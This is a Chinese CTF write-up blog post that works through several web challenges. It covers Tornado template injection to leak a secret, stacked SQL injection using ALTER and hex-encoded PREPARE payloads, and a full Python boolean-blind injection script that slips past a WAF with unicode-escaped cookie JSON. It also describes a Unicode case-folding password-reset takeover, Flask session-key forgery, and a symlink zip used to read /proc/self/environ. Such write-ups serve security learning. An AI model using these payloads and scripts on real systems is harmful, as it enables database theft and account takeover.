标签：prepare word random xxx 二次 结合 ase its user
思路很清晰，文件包含，漏洞点在代码会二次解码，只需注入一个?就可以使用../../进行路径穿越，然后去包含flag，flag路径在hint.php里面有
题目就给了这些信息，flag路径已知，render应该是跟模板注入相关，hint.txt给的应该是filehash的算法，
看看url，我们可以控制文件名和文件hash
随便传一个不存在的文件名会跳转到error页面，这里直接把error字符串返回了回来，所以尝试一下模板注入，写个9，也返回了，猜测题目应该是我们需要去算出flag文件对应的filehash，但是因为这个密钥是不知道的，所以我们需要去通过模板注入弄出密钥，题目又是tornado，这里常规模板注入的字符比如[],()都被过滤掉了，因此尝试找一些tonado的全局配置来读取看看
所以用handler.settings可以访问到tornado的一些“应用程序设置“，那么web网站中的一些变量信息应该也在其中存储着，所以直接访问就能得到密钥，然后就可以根据这个密钥来构造filehash
得到secret然后md5哈希一下就可以，看文档还是有用的，不会就多看文档多google，当然思路要对，比如这里就猜测secret存储在应用的一些全局配置中。
这里首先提交1，这里回显的1对应的数据，然后提交1‘，报错了
再提交1‘ or ‘‘=‘,返回正常：
说明肯定存在注入，但是这里把常见的关键字都过掉了，并且是不区分大小写的正则进行过滤，所以常规的查系统表然后注入的方法肯定不行，这里可以尝试堆叠注入。
得到了两张表，那么接下来肯定要查一下两张表有哪些字段，用show coloums from，就可以得到flag字段，这里使用show create table `1919810931114514`;语句也可以查到表的结构。
然后
这里有两种解法：
第一种，因为后端数据库实际上是查询的words表，可以使用alter来更改表名和表字段，让1919810931114514的表更名为words表，那么查询的words的时候实际上是对19这张表的查询，这思路真骚。
payload为：
‘;alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;#
然后再查询就可以查询到flag了，这里我猜测后端语句应该是select * from words where id=1
第二种，除了这种骚操作，常规的我见过的还是这种：
#coding=utf-8
import requests
#1919810931114514
part_url=‘http://49.4.66.242:31368/?inject=‘
payload="select flag from `1919810931114514`;"
payload=payload.encode(‘hex‘)
payload=‘‘‘1‘;Set @x=0x‘‘‘+str(payload)+‘‘‘;Prepare a from @x;execute a;%23‘‘‘
print payload
full_url=part_url+payload
r=requests.get(url=full_url)
print r.content
先编译sql语句，这里将payload进行了16进制编码，然后使用execute来进行执行，这里16进制编码的payload在编译中可以识别出来的，又学到了。
直接访问是跳转了，说明应该有js之类检测，不满足就跳转，直接扫一下目录：
这里就不扫了，buu有检测，怕被ban，总之可以扫描到源码：
可以看到index.php有这一段加以限制
注入点在member.php里，此时将cookie中的值json_decode以后拼接username，因为有第一行defined的限制，找到其定义的地方在common.php
其中在safe.php中对一些sql关键字进行了过滤union过滤了，and or都过滤了，\s把空格也都过滤了，那么系统表都用不了了，短路还可以用^或这||或者&&来代替，单引号也没有过滤， 因此可以闭合前面的单引号，字符串截取函数我们可以用right，因为ord+mid+ascii+substring都被过滤了，空格可以用/**/来绕过，但是等号，大于小于也没了，因此正常的注入语句就用不了，所以必须要bypass，这里注意到safe.php的过滤
这里对所有的get、post、cookie的值进行了过滤http头部内的值是没有过滤的，那么可以尝试找一下http头部内有没有注入的点，但是在此题中是不存在的，但是在member.php中要对cookie中的值进行json_decode，因此可以先对关键字进行unicode编码一下，然后经过safe.php过滤时可以顺利绕过，再经过json_decode解码时就可以还原成正确的payload
先在burp中测试一下注入的逻辑：
当注入admin_user=sss‘/**/||/**/‘1时，此时返回了两个set-cookie，当注入admin_user=sss‘/**/||/**/‘0时，返回了四个set-cookie
那么我们就可以通过脚本来判断返回的set-cookie个数来判断逻辑，从而完整布尔盲注，当然这里要用到=等号，和o进行一个unicode编码替换，编写脚本如下，我们可以依次查库，用burp一跑就可以跑出来当前数据库长度为12
然后就可以跑出当前的数据库，为hctf_zone
然后跑出第一张表为fish_admin
第二张表为ip
第三表为fish_user
然后最后一张表就是flag所在的表 fl2222g
然后继续查出该表的字段为f44ag
然后就能查出flag长度
然后就能查出flag了
exp:
#coding:utf-8
import string
import time
import requests
url = "http://web39.buuoj.cn/include/common.php"
def encode(payload):
payload = payload.replace(‘or‘,‘\u00‘+str(hex(ord(‘o‘))[2:])+"r")
payload = payload.replace(‘=‘,‘\u00‘+str(hex(ord(‘=‘))[2:]))
payload = payload.replace(‘ ‘,‘/**/‘)
print payload
return payload
def database_length():
inject = requests.session()
db_length = 0
for i in range(20):
payload = "tr1ple‘ or (length((select database()))={}) && ‘1".format(str(i))
payload = encode(payload)
#print(payload)
cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}"
,"PHPSESSID":"9ab188f3509995d88a68190fedc82358",
"wzws_cid":"2be75d4aa1d0208371049ab3d98730380c3ec0246c2b11de690ffae3a34c87545fac57fe81c91446c6ea0dc9e06f686a8e54160f220dc90124b7a61de8c251f5"
}
#print(cookie)
time.sleep(1)
#print inject.get(url=url, cookies=cookie).headers
a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count(‘islogin‘)
print a
time.sleep(1)
if a==1:
print "the length of database is {}".format(str(i))
def dump_database():
inject = requests.session()
payloads = string.lowercase + "{}" + string.digits+"_"
flag = "zone"
temp = ""
for i in range(5, 100):
for j in payloads:
temp = j+flag
payload = "tr1ple‘ or (right((select database()),{})=‘{}‘) && ‘1".format(str(i), temp)
payload = encode(payload)
header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
,"PHPSESSID": "9ab188f3509995d88a68190fedc82358",
"wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8541cedec92acb01375a17927e990adee3e"
}
# print(cookie)
a = inject.get(url=url, cookies=cookie,headers=header).headers["Set-Cookie"]
a= a.count(‘islogin‘)
#print a
time.sleep(1)
if a==1:
flag=temp
print flag
break
def dump_table():
inject = requests.session()
payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase
flag = ""
temp = ""
for i in range(1, 100):
for j in payloads:
temp = j + flag
payload = "tr1ple‘ or (right((select table_name from information_schema.tables where table_schema=database() limit 3,1),{})=‘{}‘) && ‘1".format(str(i), temp)
payload = encode(payload)
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
, "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
"wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
}
# print(cookie)
a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
a = a.count(‘islogin‘)
# print a
time.sleep(1)
if a == 1:
flag = temp
print flag
break
def dump_column():
inject = requests.session()
payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase
flag = ""
temp = ""
for i in range(1, 100):
for j in payloads:
temp = j + flag
payload = "tr1ple‘ or (right((select column_name from information_schema.columns where table_schema=database() && table_name=0x666c3232323267 limit 0,1),{})=‘{}‘) && ‘1".format(str(i), temp)
payload = encode(payload)
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
, "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
"wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
}
# print(cookie)
a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
a = a.count(‘islogin‘)
# print a
time.sleep(1)
if a == 1:
flag = temp
print flag
break
def flag_length():
inject = requests.session()
db_length = 0
for i in range(10,40):
payload = "tr1ple‘ or (length((select f44ag from fl2222g))={}) && ‘1".format(str(i))
payload = encode(payload)
#print(payload)
cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}"
,"PHPSESSID":"9ab188f3509995d88a68190fedc82358",
"wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8548ff3860e266289c1326244e9ba33b4ef"
}
#print(cookie)
time.sleep(1)
#print inject.get(url=url, cookies=cookie).headers
a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count(‘islogin‘)
print a
time.sleep(1)
if a==1:
print "the flag length is {}".format(str(i))
def dump_flag():
inject = requests.session()
payloads = string.lowercase + "{}" + string.digits
flag = "datmq1oh3j3rp0b18z4m}"
temp = ""
for i in range(22, 39):
for j in payloads:
temp = j + flag
payload = "tr1ple‘ or (right((select f44ag from fl2222g),{})=‘{}‘) && ‘1".format(str(i), temp)
payload = encode(payload)
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"}
cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}"
, "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
"wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
}
# print(cookie)
a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
a = a.count(‘islogin‘)
# print a
time.sleep(1)
if a == 1:
flag = temp
print flag
break
if __name__ == ‘__main__‘:
#database_length()
#dump_database()
#dump_table()
#dump_column()
#flag_length()
dump_flag()
总结：
这道题考bypass waf来进行注入，虽然waf过滤了很多，但是有个json_decode,因此导致我们可以无视waf来进行注入，看了其他师傅的wp，当然这道题还有几个值得学习的点：
1.过滤了or，那么information_schema表用不了了，但是除了这一张元数据表外，还有其它的系统数据表可以用：
mysql.innodb_table_stats可以用来查表名
select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1
但是这种貌似不能直接查到字段，要是要提取flag的话，还得让这个flag表只有一列
链接：https://xz.aliyun.com/t/3253#toc-7
2.对于注入时可以添加binary到字段前防止在对比时大小写不敏感：
3.除了通常的字符串截取函数，mid+substr,right,left,还是可以用字符串比较函数strcmp，返回1或-1，同样可以用来盲注
或者find_in_set,两个字符串相等为1，否则为0，这个比较少见
更多的bypass先知上有人发了一篇，可以拿来参考
https://xz.aliyun.com/t/3992#toc-18
4.调试payload
在nu1l的wp中也看到了可以发包到burp进行调试，这样很方便看到payload的效果，只要涉及到mysql函数嵌套的就用括号包起来
解法1：
第一种，利用unicode编码的漏洞，在unicode能表示的字符中，有的字符长的很相似，而恰巧有一些函数能够进行字符之间的转换，从而造成意想不到的结果
他们对用户名是否重复的判断是执行一次这个函数然后进行比对 ，例如AAA会被变为aaa则和之前已经注册过的aaa重复 ，但是这里出现了一个错误，注册一个???，经过函数处理后变成了AAA，因为与aaa不同所以注册成功，而在用户点击重置密码的连接的时候，这个函数再次被执行了一次，AAA变成了aaa，导致用户aaa的密码被越权修改，这段话摘自：http://blog.lnyas.xyz/?p=1411，所以才能够导致在注册的时候?dmin，登陆的时候经过函数处理依次变为Admin，改密码再处理一次变为admin，从而就修改了admin的密码，关于这个是如何发现的，我觉得如果本身熟悉python开发的话很快就能意识到strlower的问题，一般转化小写不用这个函数，所以我们才需要去跟踪研究此函数可能存在的bypass方法，并且对于此题，给了登陆，注册，修改密码，那么一般套路应该就是要修改admin的密码再登录。
解法2：
直接修改把session打印出来就可以，一般给了源码本地就可以跑起来模拟
在config.py里面也给了secretkey，可以直接进行cookie伪造，flask session是存储在客户端的，只有签名防窜改作用，但是不是加密的，因此客户端可读，如果flask用来签名session的key泄露，那么就可以伪造session
这道题平台环境坏了，说一下思路：
首先要上传一个zip，可以软链接到任意文件，从而造成任意文件读取，因为是flask框架，先读/proc/self/environ，可以得到
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
WSGI 的官方定义是，the Python Web Server Gateway Interface。从名字就可以看出来，这东西是一个Gateway，也就是网关。网关的作用就是在协议之间进行转换。
WSGI 是作为 Web 服务器与 Web 应用程序或应用框架之间的一种低级别的接口，以提升可移植 Web 应用开发的共同点。WSGI 是基于现存的 CGI 标准而设计的。
很多框架都自带了 WSGI server ，比如 Flask，webpy，Django、CherryPy等等。当然性能都不好，自带的 web server 更多的是测试用途，发布时则使用生产环境的 WSGI server或者是联合 nginx 做 uwsgi 。
uWSGI是一个Web服务器，它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。
为什么有了uWSGI为什么还需要nginx？因为nginx具备优秀的静态内容处理能力，然后将动态内容转发给uWSGI服务器，这样可以达到很好的客户端响应。
了解到uwsgi其实是个一般python web用的web服务器，用来动态处理客户端的请求，那么uswgi.ini中应该包含了
再读取uwsgi_ini可以得到当前python web服务器的一些配置信息：
其中module中包含着py文件的路径名称，从而结合/proc/self/environ中的PWD来读取py的源码
即/app/hard_t0_guess_n9f5a95b5ku9fg/+module名.py
flask sesion伪造时必须要知道secret key，这里
random.seed(uuid.getnode()) app = Flask(__name__) app.config[‘SECRET_KEY‘] = str(random.random()*100)
uuid.getnode()函数是取mac地址作为种子，因此为固定值，所以可以本地跑出来secretkey，而linux的mac地址保存在/sys/class/net/eth0/address
因此就可以伪造cookie登陆了，这里不能直接读flag，必须以admin登录才可以，因为有限制：
并且在/app/hard_t0_guess_n9f5a95b5ku9fg/index.html里面有
所以这道题并没有新知识点，构造session的时候一般要和服务器端py版本一致
这个地址可以将mac地址转到10进制，从而输入种子，https://www.vultr.com/resources/mac-converter/
标签：prepare word random xxx 二次 结合 ase its user
原文地址：https://www.cnblogs.com/wfzWebSecuity/p/11334800.html
